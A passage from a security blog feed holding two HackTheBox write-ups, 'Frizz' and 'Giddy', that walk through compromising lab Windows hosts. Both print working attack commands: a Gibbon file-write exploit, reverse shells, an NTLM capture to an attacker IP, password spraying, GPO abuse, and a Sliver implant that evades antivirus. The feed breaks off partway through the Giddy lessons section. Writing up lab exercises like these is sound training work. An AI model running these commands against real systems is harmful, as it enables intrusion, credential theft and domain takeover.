<p>The Gibbon page also had a login portal, so I tried some default credentials just in case, but they were unsuccessful. The links on the page were not especially useful either. Still, the important part was already in front of me: I had a named platform and a visible version number.</p>
<hr />
<h3>Vulnerability Research</h3>
<p>From there, I searched for vulnerabilities affecting Gibbon 25.0.00 and came across a very promising result: an unauthenticated file write vulnerability that could be turned into remote code execution.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6eec671b-198b-4b55-80f9-5442cb0f8b1d.png" alt="" style="display:block;margin:0 auto" />

<p>The vulnerability was described as follows:</p>
<blockquote>
<p>GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because <code>rubrics_visualise_saveAjax.php</code> does not require authentication. The endpoint accepts the <code>img</code>, <code>path</code>, and <code>gibbonPersonID</code> parameters. The <code>img</code> parameter is expected to be a base64 encoded image. If the <code>path</code> parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the <code>img</code> parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution.</p>
</blockquote>
<p>Once I found that, the first thing I needed to do was confirm whether the vulnerable endpoint actually existed on the target.</p>
<hr />
<h1>3. Exploitation</h1>
<h3>Confirming File Write</h3>
<pre><code class="language-bash">curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&amp;path=neo.php&amp;gibbonPersonID=0000000001'
</code></pre>
<p>After confirming the vulnerable endpoint existed, I first used it to write a harmless text file and then verified that I could retrieve it successfully from the server.</p>
<p>Once the text file test worked, I moved on to writing a PHP web shell. That worked too. At that point I had unauthenticated code execution through the web application.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/72c7758e-4e65-4360-9aec-fc51c503772e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Shell as w.webservice</h3>
<pre><code class="language-bash">python3 -m http.server 80
nc -nvlp 7777
</code></pre>
<p>After proving I could execute commands through the uploaded PHP file, I used that access to pull down a PowerShell reverse shell script from my Python web server and shortly after that I caught a shell on my Netcat listener.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1ba03ff-78dc-4616-8e73-f2150f0d8005.png" alt="" style="display:block;margin:0 auto" />

<p>The shell landed as:</p>
<pre><code class="language-text">frizz\w.webservice
</code></pre>
<pre><code class="language-powershell">
whoami
net user
</code></pre>
<p>As soon as I had the shell, I started with the usual questions: who am I, what can I see, and what can I use from here?</p>
<p>Running <code>whoami</code> showed I was the <code>w.webservice</code> account. Then I used <code>net user</code> to list local or domain-visible accounts. The result gave me a strong set of usernames to work with, including accounts like:</p>
<ul>
<li><p>Administrator</p>
</li>
<li><p>f.frizzle</p>
</li>
<li><p>M.SchoolBus</p>
</li>
<li><p>Guest</p>
</li>
<li><p>krbtgt</p>
</li>
<li><p>w.Webservice</p>
</li>
</ul>
<p>That list turned out to be extremely useful later, because it gave me a ready-made set of candidates for username validation, AS-REP roasting attempts, and password spraying.</p>
<p>At this stage I also ran:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>but there were no interesting privileges or groups attached to <code>w.webservice</code>.</p>
<hr />
<h3>Local Enumeration</h3>
<p>I checked for the two Windows privilege escalation angles I usually look at early:</p>
<ul>
<li><p>cached Group Policy Preference passwords</p>
</li>
<li><p>AutoLogon credentials</p>
</li>
</ul>
<p>I checked for XML files under the Group Policy History path and also reviewed the Winlogon registry settings. Neither path gave me anything useful here. That ruled out two common quick wins.</p>
<p>I then tried moving into user directories to see whether there were any loose files, notes, scripts, or other artifacts left behind, but <code>w.webservice</code> was too restricted to browse the users directory. Since those routes were blocked, I shifted to one of the places I specifically like checking early on web targets: the web application directory itself.</p>
<hr />
<h3>Credential Hunting in the Web Root</h3>
<p>The target was using XAMPP, so I started looking around there. I specifically wanted config files, <code>.ini</code> files, database references, or anything else that might contain credentials. Since I already knew MySQL was present on the box, seeing the <code>mysql</code> directory inside XAMPP reinforced that I was looking in the right place.</p>
<p>I moved into the website root under <code>C:\xampp\htdocs</code>, then into the Gibbon application directory, and there I found exactly the kind of file I was hoping for:</p>
<pre><code class="language-text">config.php
</code></pre>
<p>When I opened it, I immediately found database credentials:</p>
<pre><code class="language-php">$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
</code></pre>
<p>This was a great example of why I like checking application directories early. The initial shell did not have strong privileges, but web applications often keep secrets close by.</p>
<hr />
<h3>Testing the Database Credentials</h3>
<p>The next question was whether the password I found was reused anywhere else. I sprayed it against my username list, but it did not work for domain logons.</p>
<p>If the password was not reused directly for user authentication, the next best use for it was exactly what it was intended for: database access.</p>
<p>I used the local MySQL binary on the host to connect with the credentials from <code>config.php</code>. That worked. My interaction was a little clunky because I was not sitting in a clean, fully interactive MySQL session, so I was effectively running one command per login attempt.</p>
<p>I first enumerated the databases and saw one meaningful non-default database: <code>gibbon</code>.</p>
<p>Then I listed the tables and noticed <code>gibbonperson</code>, which looked like the most likely place to find account-related information.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b627add-549e-40a2-8cba-4ca46e8d233a.png" alt="" style="display:block;margin:0 auto" />

<p>When I dumped the contents of <code>gibbonperson</code>, I found a user record for <strong>f.frizzle</strong> along with a password hash.</p>
<p>That was the next major pivot point.</p>
<hr />
<h3>Cracking the Hash and Pivoting to f.frizzle</h3>
<p>I took the recovered hash offline and cracked it with Hashcat. Once I had the password, I tested it.</p>
<p>The first interesting wrinkle here was that it did not work the way I expected with NTLM-based authentication. Testing it with SMB in the usual way failed. But when I switched to Kerberos authentication, it worked.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6e7f8a01-119c-4e09-8d33-778843b5f301.png" alt="" style="display:block;margin:0 auto" />

<p>That was one of the better lessons from the box. The credential was valid, but the authentication method mattered. If I had treated the initial NTLM failure as proof the credential was useless, I would have thrown away a working domain password.</p>
<p>With the valid credentials for <code>f.frizzle</code>, I requested a TGT, initialized it, and used SSH with Kerberos authentication to connect to the target:</p>
<pre><code class="language-bash">export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
</code></pre>
<p>That got me a PowerShell session on the target as <code>frizz\f.frizzle</code>.</p>
<hr />
<h3>BloodHound Collection</h3>
<pre><code class="language-bash">rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
</code></pre>
<p>Now that I had valid domain credentials, I wanted to step back and look at the broader domain graph. I used RustHound CE to collect data for BloodHound and then reviewed it for privilege escalation paths.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/825f6be9-2e88-43fe-a85a-64170472ef09.png" alt="" style="display:block;margin:0 auto" />

<p><code>f.frizzle</code> did not appear to have an obvious outbound object control path or some immediate misconfiguration I could exploit.</p>
<p>Since BloodHound was not handing me the answer, I went back to local enumeration.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Enumerating as f.frizzle</h3>
<pre><code class="language-powershell">whoami /all
tree /f /a
</code></pre>
<p>Once I had <code>f.frizzle</code>, I repeated my basic checks. I ran <code>whoami /all</code> to look for useful privileges or interesting group memberships, but there was nothing useful. I enumerated the user’s home directory with <code>tree</code>, but there were no especially interesting files there. I also tried browsing other users’ directories, but I did not have the access needed to pull anything useful from them.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6c91ec09-cd48-4199-942b-3259107a1026.png" alt="" style="display:block;margin:0 auto" />

<p>I checked <code>ProgramData</code>, both <code>Program Files</code> directories, and other standard places where useful artifacts sometimes show up. Everything looked normal. No obvious credentials, no standout config files, no quick escalation vector.</p>
<p>This was the point in the box where I started to feel a little stuck. I had gone from web compromise to a valid domain user, but the next step was not obvious.</p>
<p>That ended up being one of the best parts of the machine, because the path forward came from a technique I had not really thought about before.</p>
<hr />
<h3>Checking the Recycle Bin</h3>
<p>While continuing local enumeration, I checked the recycle bin for user artifacts. That turned out to be the breakthrough.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/81ef133b-46fe-4792-968b-67ed5965ef27.png" alt="" style="display:block;margin:0 auto" />

<p>In the recycle bin, I found files with the familiar Windows recycle naming pattern. There are generally two types of entries involved there:</p>
<ul>
<li><p>files beginning with <code>$I</code>, which contain metadata about the original file</p>
</li>
<li><p>files beginning with <code>$R</code>, which are the actual deleted file contents</p>
</li>
</ul>
<p>That was something I had not really leaned on before as a privilege escalation check, so this box was genuinely instructive in that regard.</p>
<p>Inside the recycle bin, I found a real file:</p>
<pre><code class="language-text">$RE2XMEG.7z
</code></pre>
<p>That looked immediately worth pulling.</p>
<hr />
<h3>Exfiltrating and Extracting the Archive</h3>
<pre><code class="language-bash">scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
</code></pre>
<p>I copied the 7z archive back to my Kali box using <code>scp</code> and then extracted it locally.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/092d6633-ec7d-408f-9f41-a23c9b3e6b91.png" alt="" style="display:block;margin:0 auto" />

<p>Once extracted, the archive contained a large number of files, so I started doing what I usually do in that situation: searching for strings that looked like credentials, secrets, passwords, or config values.</p>
<p>I used <code>grep</code> and found a base64-looking value in one of the files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2084fc6f-0b7a-4a46-9463-aafd125ee8e6.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">IXN1QmNpZ0BNZWhtZWd1Q0hUgo=
</code></pre>
<hr />
<h3>Decoding the Secret and Spraying It</h3>
<pre><code class="language-bash">echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
</code></pre>
<p>Decoding the value gave me a plaintext secret:</p>
<pre><code class="language-text">!suBcig0MehTed!R
</code></pre>
<p>As soon as I had that, I tested it against my list of domain users.</p>
<p>My first round of spraying did not succeed over NTLM, but when I repeated the attempt using Kerberos, the credential turned out to be valid</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/15494552-c5d6-480c-86b5-45aa942423ca.png" alt="" style="display:block;margin:0 auto" />

<p>for:</p>
<pre><code class="language-text">M.SchoolBus
</code></pre>
<p>That was another place where Kerberos awareness mattered. The password was good, but the authentication context made the difference between “this seems dead” and “this is the next pivot.”</p>
<hr />
<h3>Pivoting to M.SchoolBus</h3>
<pre><code class="language-bash">ssh M.SchoolBus@10.129.232.168 -k
whoami /all
</code></pre>
<p>I used the recovered credentials to SSH into the box as <code>M.SchoolBus</code> and immediately checked the user’s group memberships.</p>
<p>The account was a member of <strong>Group Policy Creator Owners</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8d1a5be-8b79-4139-886f-3c4961c927fa.png" alt="" style="display:block;margin:0 auto" />

<p>That group membership was the path to full compromise.</p>
<p>What made this part especially valuable from a learning perspective was that it introduced me to a privilege escalation technique that feels very real in enterprise environments: <strong>GPO abuse</strong>. If a user has the ability to create and link Group Policy Objects in the right places, that can translate directly into code execution on high-value systems, including domain controllers.</p>
<hr />
<h3>Understanding the GPO Abuse Path</h3>
<p>At a high level, the abuse path here was simple:</p>
<ol>
<li><p>Create a new GPO</p>
</li>
<li><p>Link it where it will affect the Domain Controllers OU</p>
</li>
<li><p>Add a malicious scheduled task to that GPO</p>
</li>
<li><p>Force policy refresh</p>
</li>
<li><p>Wait for the domain controller to execute the task as SYSTEM</p>
</li>
</ol>
<p>I was using legitimate AD administrative mechanisms in a malicious way because the compromised user had the rights to do so.</p>
<p>That makes this kind of attack especially dangerous in real environments. If a group like Group Policy Creator Owners is not tightly controlled, it can become a direct path to domain-wide impact.</p>
<hr />
<h3>Creating and Linking the Malicious GPO</h3>
<pre><code class="language-powershell">New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
</code></pre>
<p>After understanding the path, I created a new GPO named <code>neo</code> and linked it to the Domain Controllers OU.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/47c82c72-5bb1-4179-ba42-d512375c9977.png" alt="" style="display:block;margin:0 auto" />

<p>That alone did not trigger anything yet, but it prepared the environment for the next step: embedding a malicious action inside the policy.</p>
<hr />
<h3>Using SharpGPOAbuse to Execute Code</h3>
<p>To weaponize the GPO, I downloaded the SharpGPOAbuse binary to the target using my Python web server. Then I used it to add a scheduled task to the GPO. The scheduled task was configured to execute a PowerShell command that would stage and run my reverse shell payload.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b33df567-ec4d-4c36-b779-9a05df868ad9.png" alt="" style="display:block;margin:0 auto" />

<p>Conceptually, the attack worked like this:</p>
<ul>
<li><p>the GPO carried a scheduled task</p>
</li>
<li><p>the scheduled task executed in the context of the affected machine</p>
</li>
<li><p>because the GPO was linked to the Domain Controllers OU, the domain controller processed it</p>
</li>
<li><p>the task executed as SYSTEM</p>
</li>
</ul>
<p>That meant my original low-privileged foothold had now turned into code execution on the domain controller itself.</p>
<p>This was easily the most instructive part of the machine for me.</p>
<hr />
<h3>Forcing Policy Update and Catching SYSTEM</h3>
<p>Once the GPO was in place, I set up my Netcat listener and then forced a Group Policy update so the malicious scheduled task would get applied.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1036bcba-9072-4f73-a754-98cad4dcb16f.png" alt="" style="display:block;margin:0 auto" />

<p>After that, I caught the shell back as SYSTEM.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/02727876-f23f-41e2-a0a1-77de06452926.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Version Disclosure Can Be the Difference Between Wandering and Winning</strong></p>
<p>One of the earliest lessons reinforced here was that version disclosure matters. Seeing <code>25.0</code> at the bottom of the Gibbon page was not a trivial detail. It was the key that turned a generic web application into a known, vulnerable target.</p>
<p><strong>2. Config Files Can be Goldmines for Credentials</strong></p>
<p>The foothold as <code>w.webservice</code> did not give me much by itself, but the application files did. Finding the database credentials in <code>config.php</code> was one of the biggest pivots on the box.</p>
<p><strong>3. Authentication Method Matters</strong></p>
<p>This machine did a very good job of reminding me that a credential failing in one context does not automatically mean it is invalid. The <code>f.frizzle</code> and <code>M.SchoolBus</code> pivots worked when I approached them with Kerberos, even where NTLM-style testing was misleading. That is a lesson worth remembering on every AD target going forward.</p>
<p><strong>4. Recycle Bin Enumeration Is a Real Privilege Escalation Check</strong></p>
<p>Before this box, checking recycle bins was not something I thought about much as part of local enumeration. After this box, it absolutely is. Deleted files are still files, and if a user threw away something sensitive without securely removing it, that can become the next pivot.</p>
<p><strong>5. Group Memberships Mean More Than They Sometimes Look Like</strong></p>
<p>Seeing that <code>M.SchoolBus</code> was in Group Policy Creator Owners ended up being the entire win condition. This machine was a great reminder that privilege escalation in AD is often about understanding what a permission actually allows you to do operationally. A group name might not scream “domain compromise” at first glance, but if you know the abuse path, it absolutely can be.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Public Version Disclosure Increases Risk</strong></p>
<p>Exposing the exact version of an internet-facing application makes vulnerability research much easier for an attacker. Even when that seems harmless from an administrative perspective, it narrows the attacker’s search space significantly and can speed up exploitation.</p>
<p><strong>2. Dangerous Functionality Should Never Be Exposed Without Strong Access Control</strong></p>
<p>The vulnerable Gibbon endpoint allowed unauthenticated file write, which is an extremely dangerous primitive. Any endpoint capable of writing content to disk should be tightly controlled, validated, and monitored. Leaving that kind of functionality exposed to unauthenticated users is a direct path to compromise.</p>
<p><strong>3. Application Secrets Should Not Be Stored So Readily</strong></p>
<p>The database credentials inside <code>config.php</code> gave me the next major pivot after initial access. That kind of secret storage is still very common in real-world applications, which is exactly why it remains such an effective target for attackers. Secrets should be tightly controlled, rotated, and segregated wherever possible.</p>
<p><strong>4. Credential Reuse and Recoverable Secrets Continue to Be a Major Problem</strong></p>
<p>The archive recovered from the recycle bin contained a secret that led directly to another user account. Even though the file had been deleted, it still represented live credential exposure. Sensitive archives, config dumps, and internal project files should be treated as high-risk artifacts throughout their lifecycle, including after deletion.</p>
<p><strong>5. Group Policy Permissions Must Be Closely Controlled</strong></p>
<p>The most severe issue on the box was not the web exploit alone. It was the fact that a compromised user in Group Policy Creator Owners could create and link a malicious GPO against the Domain Controllers OU. Permissions around GPO creation, linking, and modification should be tightly audited and restricted to only the smallest necessary set of administrators.</p>
<p><strong>6. GPO Activity Should Be Monitored Aggressively</strong></p>
<p>The creation of a new GPO, linking it to domain controllers, and adding a scheduled task are all events defenders should care deeply about. Those actions are powerful administrative operations, and unusual activity around them should generate immediate attention in a mature environment.</p>
<hr />
<h1>Useful Commands</h1>
<h3>Initial Scan</h3>
<pre><code class="language-bash">rustscan -a 10.129.232.168 -b 7000
</code></pre>
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
</code></pre>
<h3>RPC Enumeration</h3>
<pre><code class="language-bash">rpcclient -U "" -N 10.129.232.168
</code></pre>
<h3>Exploiting Gibbon</h3>
<pre><code class="language-bash">curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&amp;path=neo.php&amp;gibbonPersonID=0000000001'
</code></pre>
<h3>Local Database Access</h3>
<pre><code class="language-powershell">C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e "SHOW DATABASES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SHOW TABLES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SELECT * FROM gibbonperson;"
</code></pre>
<h3>BloodHound Collection</h3>
<pre><code class="language-bash">rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
</code></pre>
<h3>Kerberos Pivot</h3>
<pre><code class="language-bash">export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
</code></pre>
<h3>Recycle Bin Artifact Exfiltration</h3>
<pre><code class="language-bash">scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
grep -r password .
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
</code></pre>
<h3>Kerberos Password Spray</h3>
<pre><code class="language-bash">nxc smb frizzdc.frizz.htb -u user.txt -p '!suBcig0MehTed!R' -k
</code></pre>
<h3>GPO Abuse Setup</h3>
<pre><code class="language-powershell">New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
.\sharp.exe --addcomputertask --GPOName "neo" --author "neo" --taskname "wtshelly" --Command "powershell.exe" --arguments "powershell -e JABjAGwAaQBlAG4AdAA9ACIA...&lt;base64 omitted for brevity&gt;..."
gpupdate /force
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #19
HTB Write-Up Giddy]]></title><description><![CDATA[1. Target Overview

Machine Name: Giddy

Platform: HackTheBox

Operating System: Windows

Target IP: 10.129.96.140

Objective: Gain initial access to the target system and escalate privileges to full ]]></description><link>https://www.hack2harden.com/oscp-prep-19-htb-write-up-giddy</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-19-htb-write-up-giddy</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 02 Apr 2026 04:03:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/939c7d63-972d-4382-bada-8d805adc9c46.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Giddy</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Windows</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.96.140</p>
</li>
<li><p><strong>Objective:</strong> Gain initial access to the target system and escalate privileges to full administrative control.</p>
</li>
</ul>
<p>This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with <strong>antivirus evasion</strong>, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>sqlmap</p>
</li>
<li><p>Responder</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>msfvenom</p>
</li>
<li><p>Sliver</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<p>I began the engagement with an Nmap scan to understand the attack surface of the target.</p>
<pre><code class="language-bash">nmap -sC -sV -T4 10.129.96.140
</code></pre>
<p>From the scan results, I observed several key services:</p>
<ul>
<li><p><strong>80/tcp (HTTP)</strong> → Microsoft IIS 10.0</p>
</li>
<li><p><strong>443/tcp (HTTPS)</strong> → Microsoft IIS 10.0</p>
</li>
<li><p><strong>3389/tcp (RDP)</strong> → Microsoft Terminal Services</p>
</li>
<li><p><strong>5985/tcp (WinRM/HTTPAPI)</strong></p>
</li>
</ul>
<p>While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.</p>
<p>I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.</p>
<pre><code class="language-bash">ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<p>When visiting the root page on both ports, I was met with nothing more than a static image of a dog.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/12bf09b2-264e-4405-b7c0-912f03cd6e76.png" alt="" style="display:block;margin:0 auto" />

<p>There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.</p>
<p>At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f74573a8-8854-4d0f-98b7-2b7699717e8b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><code>/remote</code></p>
</li>
<li><p><code>/mvc</code></p>
</li>
</ul>
<p>The <code>/remote</code> endpoint presented a <strong>Windows PowerShell Web Access login portal</strong>, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/828ef3d2-3b65-4293-a083-fc29c1f76f72.png" alt="" style="display:block;margin:0 auto" />

<p>I then moved to the <code>/mvc</code> endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7b675c2c-3de5-4030-a17c-9b24c4064c77.png" alt="" style="display:block;margin:0 auto" />

<p>While browsing through it, I noticed that product links exposed a query string parameter:</p>
<pre><code class="language-text">Product.aspx?ProductSubCategoryId=11
</code></pre>
<p>Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.</p>
<p>I first tested for file inclusion by attempting to load a local file such as <code>/windows/win.ini</code>, but this did not yield any results.</p>
<p>Next, I tested for SQL injection by inserting a single quote (<code>'</code>) into the parameter. This triggered a <strong>500 internal server error</strong>, leaking backend SQL information.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f62b5125-be8f-49f6-a4d2-6a17bec5a630.png" alt="" style="display:block;margin:0 auto" />

<p>That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.</p>
<hr />
<h1>3. Exploitation</h1>
<p>With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.</p>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
</code></pre>
<p>Sqlmap successfully identified a <strong>Microsoft SQL Server backend</strong> and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.</p>
<p>At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.</p>
<p>I set up an SMB listener using Responder and leveraged the <code>xp_dirtree</code> function through sqlmap to force the server to authenticate to my machine:</p>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch
</code></pre>
<p>This worked perfectly. The server attempted authentication, and I captured an <strong>NTLMv2 hash for the user Stacy</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/113e296d-240c-4da7-9300-a1b4221ecfcf.png" alt="" style="display:block;margin:0 auto" />

<p>I then cracked the hash offline using John the Ripper:</p>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>With valid credentials in hand, I returned to the <code>/remote</code> PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as <strong>Stacy</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/537da0bd-f55a-4cb9-93c9-ab3385a3f6e0.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>4. Privilege Escalation</h1>
<p>Now operating as a low-privileged user, I began my standard Windows privilege escalation process.</p>
<ul>
<li>Enumerated users:</li>
</ul>
<pre><code class="language-bash">net user
</code></pre>
<ul>
<li>Checked privileges:</li>
</ul>
<pre><code class="language-bash">whoami /all
</code></pre>
<p>No useful privileges were identified.</p>
<p>I then checked for:</p>
<ul>
<li><p>AutoLogon credentials → none</p>
</li>
<li><p>GPP cpasswords → none</p>
</li>
</ul>
<p>At that point, I pivoted to the user’s home directory and discovered an interesting file:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/26b2e37a-d868-4b24-b624-52d1c2820ce8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">unifivideo
</code></pre>
<p>After transferring it to my machine and inspecting it, I found it contained only:</p>
<pre><code class="language-text">stop
</code></pre>
<p>This pointed me toward <strong>UniFi Video</strong>, a service likely installed on the system.</p>
<p>Research revealed a known privilege escalation vulnerability:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/35cb9329-519c-482f-a6c4-0596798a27b6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>The UniFi Video service runs as <strong>SYSTEM</strong></p>
</li>
<li><p>It attempts to execute <code>taskkill.exe</code> from its installation directory</p>
</li>
<li><p>The directory is <strong>writable by low-privileged users</strong></p>
</li>
<li><p>The binary does <strong>not exist by default</strong></p>
</li>
</ul>
<p>That combination allows arbitrary code execution as SYSTEM.</p>
<p>I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:</p>
<pre><code class="language-bash">msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
</code></pre>
<p>I transferred the payload to the target and identified the service name by enumerating the registry:</p>
<pre><code class="language-powershell">dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
</code></pre>
<p>After identifying the service, I stopped and restarted it to trigger execution.</p>
<p>However, no shell was received.</p>
<p>This was a key turning point. The payload failed because <strong>Windows Defender detected and blocked the msfvenom binary</strong>.</p>
<p>Instead of forcing the same approach, I adapted and switched tools.</p>
<p>This is where I was introduced to <strong>Sliver</strong>, and more importantly, the concept of <strong>implants</strong>.</p>
<p>An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.</p>
<p>I generated a new implant using Sliver:</p>
<pre><code class="language-bash">sliver &gt; mtls
sliver &gt; generate --mtls 10.10.15.205 --os windows --arch amd64
</code></pre>
<p>I renamed the generated binary to <code>taskkill.exe</code> and transferred it to the target.</p>
<p>After restarting the UniFi service again, the implant executed successfully and bypassed Defender.</p>
<p>I received a callback and confirmed my privileges:</p>
<pre><code class="language-powershell">whoami
</code></pre>
<pre><code class="language-text">NT AUTHORITY\SYSTEM
</code></pre>
<p>Full control of the machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/055242d1-e0ac-4f51-bf69-1bdb72567cc1.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Web Enumeration Is Everything</strong><br />Identifying <code>/mvc</code> and recognizing the importance of query parameters was the key that unlocked the entire attack chain.</p>
<p><strong>2. SQL Injection Can Be Leveraged Indirectly</strong><br />Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.</p>
<p><strong>3. NTLM Capture Remains Extremely Effective</strong><br />Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.</p>
<p><strong>4. Antivirus Changes the Game Completely</strong><br />This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.</p>
